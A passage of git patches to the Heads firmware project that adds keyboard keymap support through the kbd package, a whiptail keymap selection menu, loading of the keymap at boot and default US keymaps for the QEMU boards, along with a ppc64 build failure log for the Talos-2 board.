/home/user/heads/build/x86/qemu-coreboot-whiptail-tpm2/data.cpio user@localhost:~/heads$ sudo xz --check=crc32 --lzma2=dict=1MiB build/x86/qemu-coreboot-whiptail-tpm2/data.cpio -z -9 user@localhost:~/heads$ ls -alh build/x86/qemu-coreboot-whiptail-tpm2/data.cpio.xz -rw-r--r-- 1 root root 158K Apr 23 12:33 build/x86/qemu-coreboot-whiptail-tpm2/data.cpio.xz So adding all source based keymaps add 158Kb compressed to initrd.cpio.xz TODO: - init: if exported keymap_path and file exists: loadkeys it; otherwise ontinue as of now and defaults to default US keymap - Configurator deitor: show filelist, loadkeys keymap, test input with user, confirm keymap selection, persist setting - Add to oem-factory-reset (but adds another step: in default steps? in non-default? Desired workflow?) - This is desired for a long time since OEM customize keyboard selected by end user prior of shipping: so should customize keymap under Heads and OS install. Signed-off-by: Thierry Laurion --- Makefile | 6 ++++++ modules/kbd | 3 +++ 2 files changed, 9 insertions(+) diff --git a/Makefile b/Makefile index 9594db494..cc6ebb235 100644 --- a/Makefile +++ b/Makefile @@ -109,6 +109,12 @@ CONFIG_HEADS ?= y # Unless otherwise specified, we are building bash to have non-interactive shell for scripts (arrays and bashisms) CONFIG_BASH ?= y +# Unless otherwise specified, we build kbd to have setfont, loadkeys and keymaps +CONFIG_KBD ?= y +#loadkeys permits to load .map source files directly +CONFIG_KBD_LOADKEYS ?= y + + # USB keyboards can be ignored, optionally supported, or required. # # To optionally support USB keyboards, export CONFIG_SUPPORT_USB_KEYBOARD=y. To diff --git a/modules/kbd b/modules/kbd index 2286e5cc7..1c00126f6 100644 --- a/modules/kbd +++ b/modules/kbd @@ -38,3 +38,6 @@ ifeq "$(CONFIG_KBD_EXTRATOOLS)" "y" endif kbd_depends := $(musl_dep) + +kbd_data += \ + $(build)/$(kbd_dir)/data/keymaps|etc/keymaps From 03fcc8b1128da704b3b82ecf9d8153125a901c71 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 23 Apr 2025 14:17:46 -0400 Subject: [PATCH 600/619] boards/UNTESTED_talos-2 : explicitely disable kbd and inclusion of keyboard mappings for this board TODO: Would need patching Error: user@localhost:~/heads$ cat /home/user/heads/build/ppc64/log/kbd.log make -C "/home/user/heads/build/ppc64/kbd-2.6.1" -j12 --load-average=18 CC=/home/user/heads/crossgcc/ppc64/bin/powerpc64le-linux-musl-gcc -fdebug-prefix-map=/home/user/heads=heads -gno-record-gcc-switches -D__MUSL__ --sysroot /home/user/heads/install/ppc64 -isystem /home/user/heads/install/ppc64/include -L/home/user/heads/install/ppc64/lib AR=/home/user/heads/crossgcc/ppc64/bin/powerpc64le-linux-musl-ar LD=/home/user/heads/crossgcc/ppc64/bin/powerpc64le-linux-musl-ld STRIP=/home/user/heads/crossgcc/ppc64/bin/powerpc64le-linux-musl-strip NM=/home/user/heads/crossgcc/ppc64/bin/powerpc64le-linux-musl-nm OBJCOPY=/home/user/heads/crossgcc/ppc64/bin/powerpc64le-linux-musl-objcopy OBJDUMP=/home/user/heads/crossgcc/ppc64/bin/powerpc64le-linux-musl-objdump PKG_CONFIG_PATH= PKG_CONFIG_LIBDIR=/home/user/heads/install/ppc64/lib/pkgconfig PKG_CONFIG_SYSROOT_DIR=/home/user/heads/install/ppc64 make[1]: Entering directory '/home/user/heads/build/ppc64/kbd-2.6.1' make all-recursive make[2]: Entering directory '/home/user/heads/build/ppc64/kbd-2.6.1' Making all in src make[3]: Entering directory '/home/user/heads/build/ppc64/kbd-2.6.1/src' Making all in libcommon make[4]: Entering directory '/home/user/heads/build/ppc64/kbd-2.6.1/src/libcommon' CC getfd.o CC error.o CC version.o AR libcommon.a /home/user/heads/crossgcc/ppc64/bin/powerpc64le-linux-musl-ar: `u' modifier ignored since `D' is the default (see `U') make[4]: Leaving directory '/home/user/heads/build/ppc64/kbd-2.6.1/src/libcommon' Making all in libkbdfile make[4]: Entering directory '/home/user/heads/build/ppc64/kbd-2.6.1/src/libkbdfile' CC init.lo CC kbdfile.lo CCLD libkbdfile.la make[4]: Leaving directory '/home/user/heads/build/ppc64/kbd-2.6.1/src/libkbdfile' Making all in libkfont make[4]: Entering directory '/home/user/heads/build/ppc64/kbd-2.6.1/src/libkfont' CC psffontop.lo CC psfxtable.lo CC utf8.lo CC kdmapop.lo CC context.lo CC unicode.lo CC kdfontop.lo CC loadunimap.lo CC mapscrn.lo CC setfont.lo setfont.c: In function 'try_loadfont': setfont.c:102:14: warning: conversion from 'int' to 'unsigned char' may change value [-Wconversion] 102 | b2 |= 3 << (j * 2); | ^ mapscrn.c: In function 'kfont_load_consolemap': mapscrn.c:161:13: warning: conversion from 'int' to 'short unsigned int' may change value [-Wconversion] 161 | ubuf[i] = (0xf000 + i); | ^ loadunimap.c: In function 'parseline': loadunimap.c:220:24: warning: conversion from 'int' to 'short unsigned int' may change value [-Wconversion] 220 | unsigned short un = un0 - fp0; | ^~~ loadunimap.c:221:38: warning: conversion from 'int' to 'short unsigned int' may change value [-Wconversion] 221 | if ((ret = add_unipair(ctx, i, un + i, list, listsz, listct)) < 0) | ~~~^~~ CCLD libkfont.la make[4]: Leaving directory '/home/user/heads/build/ppc64/kbd-2.6.1/src/libkfont' Making all in libkeymap make[4]: Entering directory '/home/user/heads/build/ppc64/kbd-2.6.1/src/libkeymap' make all-am make[5]: Entering directory '/home/user/heads/build/ppc64/kbd-2.6.1/src/libkeymap' CC array.lo CC common.lo CC dump.lo CC kernel.lo CC kmap.lo CC func.lo CC diacr.lo CC loadkeys.lo CC summary.lo CC parser.lo CC modifiers.lo CC analyze.lo kernel.c: In function 'lk_kernel_diacrs': kernel.c:101:16: warning: conversion from 'long unsigned int' to 'int' may change value [-Wconversion] 101 | if (ioctl(fd, request, (unsigned long)&kd)) { | ^~~~~~~ CC ksyms.lo CCLD libkeymap.la make[5]: Leaving directory '/home/user/heads/build/ppc64/kbd-2.6.1/src/libkeymap' make[4]: Leaving directory '/home/user/heads/build/ppc64/kbd-2.6.1/src/libkeymap' Making all in vlock make[4]: Entering directory '/home/user/heads/build/ppc64/kbd-2.6.1/src/vlock' make[4]: Nothing to be done for 'all'. make[4]: Leaving directory '/home/user/heads/build/ppc64/kbd-2.6.1/src/vlock' make[4]: Entering directory '/home/user/heads/build/ppc64/kbd-2.6.1/src' CC mapscrn.o CC loadunimap.o CC dumpkeys.o CC showkey.o CC loadkeys.o CC setfont.o CC showconsolefont.o CC setmetamode.o CC setleds.o CC kbd_mode.o CC psfxtable.o CC fgconsole.o CC kbdrate.o CC chvt.o CC deallocvt.o CC openvt.o CC kbdinfo.o CC getkeycodes.o CC setvtrgb.o CC setkeycodes.o CC resizecons.o CCLD mapscrn CCLD loadunimap resizecons.c: In function 'main': resizecons.c:303:19: warning: signed conversion from 'long unsigned int' to 'int' changes value from '2148037735' to '-2146929561' [-Wsign-conversion] 303 | if (ioctl(fd, TIOCSWINSZ, &winsize)) | ^~~~~~~~~~ CCLD dumpkeys CCLD loadkeys resizecons.c: In function 'vga_set_cursor': resizecons.c:394:2: error: inconsistent operand constraints in an 'asm' 394 | __asm__ volatile("outb %0,%1" | ^~~~~~~ resizecons.c:402:2: error: inconsistent operand constraints in an 'asm' 402 | __asm__ volatile("inb %1,%0" | ^~~~~~~ resizecons.c:394:2: error: inconsistent operand constraints in an 'asm' 394 | __asm__ volatile("outb %0,%1" | ^~~~~~~ resizecons.c:394:2: error: inconsistent operand constraints in an 'asm' 394 | __asm__ volatile("outb %0,%1" | ^~~~~~~ resizecons.c:402:2: error: inconsistent operand constraints in an 'asm' 402 | __asm__ volatile("inb %1,%0" | ^~~~~~~ resizecons.c:394:2: error: inconsistent operand constraints in an 'asm' 394 | __asm__ volatile("outb %0,%1" | ^~~~~~~ CCLD showkey make[4]: *** [Makefile:993: resizecons.o] Error 1 make[4]: *** Waiting for unfinished jobs.... make[4]: Leaving directory '/home/user/heads/build/ppc64/kbd-2.6.1/src' make[3]: *** [Makefile:1040: all-recursive] Error 1 make[3]: Leaving directory '/home/user/heads/build/ppc64/kbd-2.6.1/src' make[2]: *** [Makefile:489: all-recursive] Error 1 make[2]: Leaving directory '/home/user/heads/build/ppc64/kbd-2.6.1' make[1]: *** [Makefile:420: all] Error 2 make[1]: Leaving directory '/home/user/heads/build/ppc64/kbd-2.6.1' Signed-off-by: Thierry Laurion --- boards/UNTESTED_talos-2/UNTESTED_talos-2.config | 3 +++ 1 file changed, 3 insertions(+) diff --git a/boards/UNTESTED_talos-2/UNTESTED_talos-2.config b/boards/UNTESTED_talos-2/UNTESTED_talos-2.config index a68149d0b..8433881ca 100644 --- a/boards/UNTESTED_talos-2/UNTESTED_talos-2.config +++ b/boards/UNTESTED_talos-2/UNTESTED_talos-2.config @@ -6,6 +6,9 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=talos_2 export CONFIG_LINUX_VERSION=6.6.16-openpower +#EXPLICITELY DEACTIVATE KBD + loadkeys + keymap support since doesn't build for now and nobody known to use talos-2 +CONFIG_KBD=n + CONFIG_COREBOOT_CONFIG=config/coreboot-talos-2.config CONFIG_COREBOOT_ROM=coreboot.rom.signed.ecc CONFIG_COREBOOT_BOOTBLOCK=bootblock.signed.ecc From 03cff4588d5312c828a157434ed99ea6f8661d65 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 23 Apr 2025 15:28:11 -0400 Subject: [PATCH 601/619] modules/kbd: deploy keymaps under usr/lib/kbd/keymaps Signed-off-by: Thierry Laurion --- modules/kbd | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/kbd b/modules/kbd index 1c00126f6..b9b471f56 100644 --- a/modules/kbd +++ b/modules/kbd @@ -40,4 +40,4 @@ endif kbd_depends := $(musl_dep) kbd_data += \ - $(build)/$(kbd_dir)/data/keymaps|etc/keymaps + $(build)/$(kbd_dir)/data/keymaps|usr/lib/kbd/keymaps From 33be47f6586c0e41bbf59001018fd6963a139f61 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 23 Apr 2025 15:32:58 -0400 Subject: [PATCH 602/619] bin/config-gui.sh: Keyboard's keymap option to change: select/test/rollback/save to persist across reboots Signed-off-by: Thierry Laurion --- initrd/bin/config-gui.sh | 79 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index 2531cd6e1..42bbdd601 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -78,6 +78,11 @@ while true; do 'K' " $(get_config_display_action "$CONFIG_USER_USB_KEYBOARD") USB keyboard" ) + # Add keyboard keymap selection option + dynamic_config_options+=( + 'k' ' Change Keyboard Keymap' + ) + # Debugging option always available dynamic_config_options+=( 'Z' " Configure $CONFIG_BRAND_NAME informational / debug output" @@ -547,6 +552,80 @@ while true; do fi fi ;; + "k") + KEYMAP_ROOT="/usr/lib/kbd/keymaps" + DEFAULT_KEYMAP="$KEYMAP_ROOT/i386/qwerty/us.map" + CURRENT_KEYMAP="$(load_config_value KEYBOARD_KEYMAP)" + [ -z "$CURRENT_KEYMAP" ] && CURRENT_KEYMAP="$DEFAULT_KEYMAP" + BROWSE_DIR="$KEYMAP_ROOT" + while true; do + menu_entries=() + # List directories (if they contain .map or subdirs) and .map files, skip "include" + for entry in "$BROWSE_DIR"/*; do + [ "$(basename "$entry")" = "include" ] && continue + if [ -d "$entry" ]; then + has_content=0 + for sub in "$entry"/*; do + [ -d "$sub" ] && has_content=1 && break + [[ "$sub" == *.map ]] && has_content=1 && break + done + if [ $has_content -eq 1 ]; then + menu_entries+=("$(basename "$entry")/" "$(basename "$entry")/") + fi + elif [[ "$entry" == *.map ]]; then + menu_entries+=("$(basename "$entry")" "$(basename "$entry")") + fi + done + + final_entries=() + [ "$BROWSE_DIR" != "$KEYMAP_ROOT" ] && final_entries+=(".." "..") + for ((i=0; i<${#menu_entries[@]}; i+=2)); do + final_entries+=("${menu_entries[i]}" "${menu_entries[i+1]}") + done + final_entries+=("Cancel" "Cancel") + + if [ ${#final_entries[@]} -le 2 ]; then + whiptail --title "No keymaps" --msgbox "No keymaps or directories found here." 0 60 + break + fi + + whiptail --title "Select Keymap" \ + --menu "Browse to select a keymap file.\n\n(Current: ${CURRENT_KEYMAP:-none})" 0 80 18 \ + "${final_entries[@]}" 2>/tmp/whiptail || break + + choice=$(cat /tmp/whiptail) + if [ "$choice" = "Cancel" ]; then + loadkeys "$CURRENT_KEYMAP" + break + fi + if [ "$choice" = ".." ]; then + BROWSE_DIR="$(dirname "$BROWSE_DIR")" + [ "$BROWSE_DIR" = "/" ] && BROWSE_DIR="$KEYMAP_ROOT" + continue + elif [[ "$choice" == */ ]]; then + BROWSE_DIR="$BROWSE_DIR/${choice%/}" + continue + elif [[ "$choice" == *.map ]]; then + SELECTED_KEYMAP="$BROWSE_DIR/$choice" + loadkeys "$SELECTED_KEYMAP" + echo + echo "------------------------------------------------------------" + echo "Keymap loaded: $SELECTED_KEYMAP" + echo + echo "You can now test your keyboard layout in this shell." + echo "Press Enter when done testing to continue..." + echo "------------------------------------------------------------" + read -p $'\nTest your keymap now. Press Enter to continue:\n' dummy + if whiptail --title "Keep this keymap?" \ + --yesno "Do you want to use this keymap?\n\n$SELECTED_KEYMAP" 0 70; then + set_user_config "KEYBOARD_KEYMAP" "$SELECTED_KEYMAP" + whiptail --title "Keymap set" --msgbox "Keymap set to:\n\n$SELECTED_KEYMAP\n\nSave the config change and reboot for it to go into effect." 0 70 + break + fi + loadkeys "$CURRENT_KEYMAP" + fi + done + ;; "Z") unset output_choice whiptail_type $BG_COLOR_MAIN_MENU --title "Informational / Debug Output" \ From 2e4f0f552b3e73d71dd6f233e22933ba6848b478 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 24 Apr 2025 11:51:45 -0400 Subject: [PATCH 603/619] init: if loadkeys and keymap is configured and file exists: loadkeys it after usb drivers loaded for optional usb keyboard support Signed-off-by: Thierry Laurion --- initrd/init | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/initrd/init b/initrd/init index 33b473a56..ff32f0c68 100755 --- a/initrd/init +++ b/initrd/init @@ -191,6 +191,13 @@ if [ "$CONFIG_USB_KEYBOARD_REQUIRED" = y ] || [ "$CONFIG_USER_USB_KEYBOARD" = "y enable_usb fi +# Set the keyboard keymap if defined, file exists, and loadkeys is available +if [ -n "$CONFIG_KEYBOARD_KEYMAP" ] && [ -f "$CONFIG_KEYBOARD_KEYMAP" ] && [ -x /bin/loadkeys ]; then + TRACE_FUNC + DEBUG "Loading keyboard keymap: $CONFIG_KEYBOARD_KEYMAP" + DO_WITH_DEBUG loadkeys "$CONFIG_KEYBOARD_KEYMAP" +fi + # If the user has been holding down r, enter a recovery shell # otherwise immediately start the configured boot script. # We don't print a prompt, since this is a near instant timeout. From af8497331bf8d7d02d037464f0118f2c6bb17917 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 24 Apr 2025 12:02:14 -0400 Subject: [PATCH 604/619] boards/qemu*/qemu*.config : add 'export CONFIG_KEYBOARD_KEYMAP=/usr/lib/kbd/keymaps/i386/qwerty/us.map' explicitely since qemu don't support internal flashing still Signed-off-by: Thierry Laurion --- .../qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config | 2 ++ .../qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config | 2 ++ .../qemu-coreboot-fbwhiptail-tpm1-hotp.config | 2 ++ .../qemu-coreboot-fbwhiptail-tpm1-prod.config | 2 ++ .../qemu-coreboot-fbwhiptail-tpm1.config | 2 ++ .../qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config | 2 ++ .../qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config | 2 ++ .../qemu-coreboot-fbwhiptail-tpm2-hotp.config | 2 ++ .../qemu-coreboot-fbwhiptail-tpm2-prod.config | 2 ++ .../qemu-coreboot-fbwhiptail-tpm2.config | 2 ++ .../qemu-coreboot-whiptail-tpm1-hotp-prod.config | 2 ++ .../qemu-coreboot-whiptail-tpm1-hotp.config | 2 ++ .../qemu-coreboot-whiptail-tpm1-prod.config | 2 ++ .../qemu-coreboot-whiptail-tpm1.config | 2 ++ .../qemu-coreboot-whiptail-tpm2-hotp-prod.config | 2 ++ .../qemu-coreboot-whiptail-tpm2-hotp.config | 2 ++ .../qemu-coreboot-whiptail-tpm2-prod.config | 2 ++ .../qemu-coreboot-whiptail-tpm2.config | 2 ++ 18 files changed, 36 insertions(+) diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config index 9c81e9395..23ea2052a 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config @@ -94,4 +94,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config index c61552690..d9810e76e 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm1-hotp-prod_quiet.config @@ -94,4 +94,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config index c9493a18e..09e33dff2 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config @@ -94,4 +94,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config index 34db34b3d..027b0fb22 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config @@ -92,4 +92,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config index 93e2ee89f..e276e979f 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config @@ -92,4 +92,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config index cd3e23fa9..d13065e18 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config @@ -93,4 +93,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config index 4b3db50c2..79eeb57f8 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config @@ -93,4 +93,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config index a6d72efa0..596027dca 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config @@ -94,4 +94,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config index 8e40c2819..8b391bbe9 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config @@ -92,4 +92,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config index dbd753194..4f3ef49e3 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config @@ -93,4 +93,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config b/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config index ef2f9b09b..cd1a29767 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config @@ -94,4 +94,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config index 6de16b965..bdfdd2469 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config @@ -94,4 +94,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config b/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config index ecd1e450d..6964ff073 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config @@ -92,4 +92,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config index f7b69f464..7e2445331 100644 --- a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config +++ b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config @@ -92,4 +92,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_KEYBOARD_KEYMAP="/usr/lib/kbd/keymaps/i386/qwerty/us.map" + BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config b/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config index 7c1be4b06..3a01257b4 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config @@ -93,4 +93,6 @@ export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2-hotp" #export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export 